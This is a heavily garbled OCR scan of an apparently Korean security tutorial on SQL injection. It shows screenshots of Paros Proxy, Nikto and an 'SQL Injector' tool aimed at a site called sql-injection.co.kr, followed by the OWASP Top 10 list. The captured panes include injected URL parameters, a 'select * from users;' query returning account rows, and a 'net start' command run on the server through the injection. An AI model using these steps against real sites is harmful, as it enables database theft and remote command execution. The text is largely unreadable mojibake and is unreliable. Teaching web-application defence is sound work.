3.
2,
21
=
o)
Y
1
0x
o
I
=
Q'j
rr
>
1>
oM
|0
HU
oY
=
Ql

HlAG=E 2 REE 2R ol¢ FAES &0olotl +=dote 20l IHE x| -0l
LHOIl Oleist EEiel 2HMESE &I Rdid=E Usste 22 &E7E 018 = UL

(1) Paros ProxyE 0|28t XIS 2M

CNEES &

fu

et HIOIXIO CHGHOdEF SQL Injectoin FfE 0l EMot=Al B4 Jts.

§ Paros 3.2 =10 x|
Eile Edit Wiew Scanner Report Tools Help

Sites | Reguest | Respnnael Trapl

- Sites GET hitpifeeanee. sdl-injection.cokifboardlistasp*myname=NHNINJECTED_PARAM HTTPS

jl-injection.co kr 10
Wecept: imagelyif, imagei-xhitman, imagelipegy, imagefpjped, applicationt=shockwave-flas
h, applicationind.ms-excel, applicationind. ms-powerpoint, applicationfmsword, **
Wecept-Language: ko
Cookie: ASPEESSIONIDSAD CAQBA=IMCHOBIDIKHOMGILOJMP LI
Lser-Agent: Mozillard.0 (compatible; MSIE 6.0; Windows NT 5.0, NET CLRE 1.1.4322) Paras)
3.2.0alpha Parosi3. 2. Dalpha
Host: wasawy. sgl-injection.cokr
Froxy-Connection: Keep-Alive
Content-length: 0
[

IRaW Wigwy - I

|—§ hittg: Sty sofl-injection co kriboardlist asp?myname=NHN'INJECTED _P AR A

Histary  aleds | Outputl

8. ParosE 0/28 SQL Injection F A AJY
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(2) nikto web CGIAIMH
JIE0 & 224X SQL InjectionF L&l CHOHAISH 2 JIs6HCH A M ABS 2220t

A #e8z Qe AXIJL =0,

i
I
o
Qi

=101 %]

File Edit Mew Window Help

B &k 8 &
&1 Quick Connect [ Prafiles

if ind
HTTF meth j (= Au . & i y 3 r iz running

disabled.

> Applicat
for the !
h. To fi y ) > Applicat
for the [
Ensu

f bhe wvulnerable to a Wekbhits.dll arbi

mrhit.htw — J3erver may be wvulnerable to a Webhits.dll arbi

Connected to 35HZ - aes128-cbe - hmac-mds | 87«22

8. NiktoE 0l&8 22 & SQL InjectionF &4 &E 2 A4

(3) SQL Injector
Gt St ALOIES AIZHIOIXIE XIEE £ “SQL =& FHAEF Scan” HES F2H AOIE

°f 2 HOIXI & OHHB=0l CHSt SQL Injection FHAEO0l =Mot=Xl &HZ & = UCH &M

MSSQL, MySQL, Oracle GIOIEl HIOIA0 CHolA HZH IS0

SQL Injection 22| o HAEE £8dll 2 &= ULL AIOIE

BN
A0 [et BZAIZ0] €2t X2 S28 A4S Z10 ZHotES 8t

]
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L Inje . =1o =]
DB MH 24358
T AED
st | ZEWST 4D
OroIC |sa .
FIHEEZS |IDD
e I******
—ad MH
[H-& 2= [hitp:/fwewew, sgl-injection, co,kr/default, asp
R DATA:
Ty M9 - Y ES - 7] DBEH: [M5-SQL & Go |
—Object 25
SHZMHER DBEIAE HOosz:e LCEHE
S0L Command
I___)I:IE_|H BT jl Exec | ‘
—= HEE
HTTP ¥ML Parser
http: Mwveew. sggl-injection. co krfag/fag. asp?id=dreambox
http: Hwwewe. sgl-injection. co kefagfag. asp?id=dreambox&page=1
http: e, sgl-injection. co.kr/board/list. asp?myname=nhn
http: e sgl-injection. co kr/board/list. asp?myname=nhni.s_desc= 27 clear
http: Hwwew. sgl-injection.co kr'boardiwrite asp?id=dreambox
http: Mwveew. sgl-injection. co kr/board/modify. asp?id=dreambox&nb_id= ST
http: Mwneew. sgl-injection. co kr/event/event_list. asp?idx=1
8. SQL Injection FHAE s HM
o ] 3

~DB MH =538

A 222 [ |
OHIC |Sa
2 |******

0L Select®t 20k YLICH,
el </TH> <TH &LIGMN=LEFT> AccountSource </ TH> </TR>

—ag MH
[H&kZEas [http:/Swewewe, sl-injection, co, kr/board/list asp?myname=nhn%27%3
Rt DATA:
Tl HbAL SEH GET ~| DB{HE: [M3-5QL » Go |
—Object ZE
HIMHEE DEZIAE HOEEs mEREE
rnaster | [ServicesFound .| lanress] aval reEil
rmodel —I sysconstraints —I

syssegments

SOL Command Inject 42!

Xl

sersFoun
SﬁlrglsonHmtory LI
SOL Cormmand
[saL | [select - from users;
2D
|1 |1 |administrator |ﬂ/a |n/a
o i (ASPNET n/a n/a
2 1 Guest n/a n/a
3 1 |Group |ﬂ/a 2t clear |
4 1 TsInternetUser n/a In/a 0L 2Z H2UE Scan |
4] |

SH
=

8. SQL Query ==
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Inje o ] 5
—DB MH 53
MH E2EZ | o i
ik EESE [0 | [ Inject &8 ZD} -
[¢a HEsEe M0
i |****** Alerter
. Automatic Updates
22 AH COM+ Event Systern
[H&z i (http:/fwww, sgl-injection, co, kr/board/list asp?myname=nhn227%3 Cornputer Browser
RA DATA: DHCP Client
Distributed File Systemn
Distributed Link Tracking Client
Distributed Transaction Coordinatar
T Z=HhA MHEH IGET Vl DEZ&EY: IMS—SQL VI Go | DMS Client
—Object BE Event Log
1S &drin Service
o= ko]
HEAMMEE  DBEIAE — SE1IDI§§FE . fEﬁf | IPSEC Policy Agent
master «| [ServicesFound L] [Accessleve 7 Logical Disk Manager
model sysconstraints AccountSource ;
sd syssegments comment Mgchlne Debug Manager
DomainMame Microsoft Search
serskoun J fullame MSSALSERVER
gﬁrglsonHlstory =l anggglndex =l NMTP({Metwark News Transpart Protacal)
MT LM Security Support Provider
S0L Comnmand NYIDIA Display Driver Service
JCMD | Inet start Execﬂ | Plug and Play
B Print Spoaler
< Protected Storage
= Rermote Procedure Call (RPC)
L‘|| Ol =] :'_:|LLH 9| ".il)\|'0| = FRernovable Storage
11 Il % A_|H E_\_l _t?_j|. )\-| |:|| Security Accounts Manager
B ANHN = 3:04:00 5 Server
=13 A= =2 A 21} clear |
592 2 |d~F, HEe A,
QU/MNHN |F 3:04:00 IDET, AlZE 30L 38 3198 Scan |
4 P 300 Iniection B~ HAIZF BIOIA SILICH =
8. AIAE HAW =3 21t
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3.Web SEZ2]8 HIE 4 T2

g dilA Z2dE= FAE 2 OWASPOU 2ot I 1002 27 &= UL

(1) =gt A3 2 (Unvalidated Input)

(@ F st 2 SHI(Broken Access Control)

@) Fust 215 L ME 22](Broken Authentication and Session Management)

@) A2A AMOIE A E(XSS) HAA(Cross Site Scripting Flaws)

6) HIH 2HZ=2<(Buffer Overflows)

6 &2 F2A(Injection Flaws)

(7) £=Ast oled ™el(Improper Error Handling)

@ Fyst ¥2 M& 2Al(Insecure Storage)

© MHUIA 2ol 22 (Denial of Service)

() 2XHAESH 2& AHF(Insecure Configuration Management)

SQL InjectionF A& 2 “dEg 2 2N "SI0 ZEECH =2 S 0lHE Chs & HE2AHolA
FHAEE ol =1 H0oll == A4SEZNHES0 SAIELD JAOC A & Z203 AU & &
SHHEOZ L= = JUAS2H, & L8l 22 2o Hdle e B2k 249 g 43 JlsE Hsg = U
Ct. JeiLt Olgd HHIE 22Xz AEot)| A= AMOIENA MEE= 2= XS0 o HH
2t0l Etgst AOIXE HAGHH &Eoofl =0toF &l 0l 2 URL, = dolH, 321, #Hel X g,
HTML dle 2& & 2= |82 230l (ol M &0l E0otct= As e E£8 & SELZ2
FHAEE AH=E OWASP2 10 & = &0 4=

A FHAUES 0L = 22 OtLlet BUHA ZM ItsSs =8 FHE
s

Ok

—/ —/
4oz 2202 S0lct) 2% =L

2= kK

=W MSL2= @UEAIFCIEIS PS ScanW3B, ool M3

SQL Injection FAH0 oAM= 20028 =FH REol =250 ZHIOIILD U= 33 JIEO0ICH
Sl 2005¢ 18 2 M 20 IU0I= < 482101 & AMOIEDL FHeYoltlte HS E2AE = UL
OO0l 2 A 200 LHELEX §= AFOIEDNA &6t 11 == &lote == 8. Ol A& =S 0l
ot S3J1&0ILE J1gel 24 HIEO0l 2HYS Sl =2 = Uls A2 e g2s AES
Oile =22 JIS0l= AHFES0l 2 gL 0H&EIHXNZ =2 Application WormOl #Xt &Jtote FAIZ
=0 SQL Injection WormT= G= It =0] =02 Jtsd&0l S&otth. &4&12l ALOIED Olelgt A8
O ==X &5 S& Jtset S=8 YgE=s=S dHEZ dtettt
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